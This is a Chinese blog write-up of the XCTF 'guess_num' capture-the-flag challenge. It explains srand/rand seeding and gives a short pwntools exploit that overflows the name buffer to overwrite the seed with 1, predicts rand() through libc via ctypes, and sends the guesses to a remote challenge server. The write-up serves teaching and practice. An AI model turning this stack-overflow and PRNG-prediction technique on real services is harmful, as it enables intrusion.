rand()与srand() 攻防世界guess_num write_up

   srand设置产生一系列伪随机数发生器的起始点,要想把发生器重新初始化,可用1作seed值。任何共它的值都把发生器匿成一个随机的起始点。rand检索生成的伪随机数。在任何调用srand之前调用rand与以1作为seed调用srand产生相同的序列。

此函数可以设定rand函数所用的随机数产生演算法的种子值。任何大于一的种子值都会将rand随机数所产生的虚拟随机数序列重新设定一个起始点

                                                                                                                          ---取自百度百科srand()

以上的可以理解为当seed值确定时,调用rand函数产生的序列是不变的。

python里面调用srand函数和rand函数时,可以引入C++库,可以通过ldd来查看可执行程序的依赖库文件

然后在python里面引用:

#-*- coding:utf-8 -*-
from pwn import *
from ctypes import *

libc=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(1)

p = remote('220.249.52.133',54442)

p.sendlineafter('choice:','a'*0x20+ p64(1))

for i in range(0,10):
	p.sendlineafter('number:',str(libc.rand()%6+1))
p.interactive()

 

此处为guess_num的exp,输入name时栈覆盖seed的值,然后发送本地产生的序列,得到flag

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值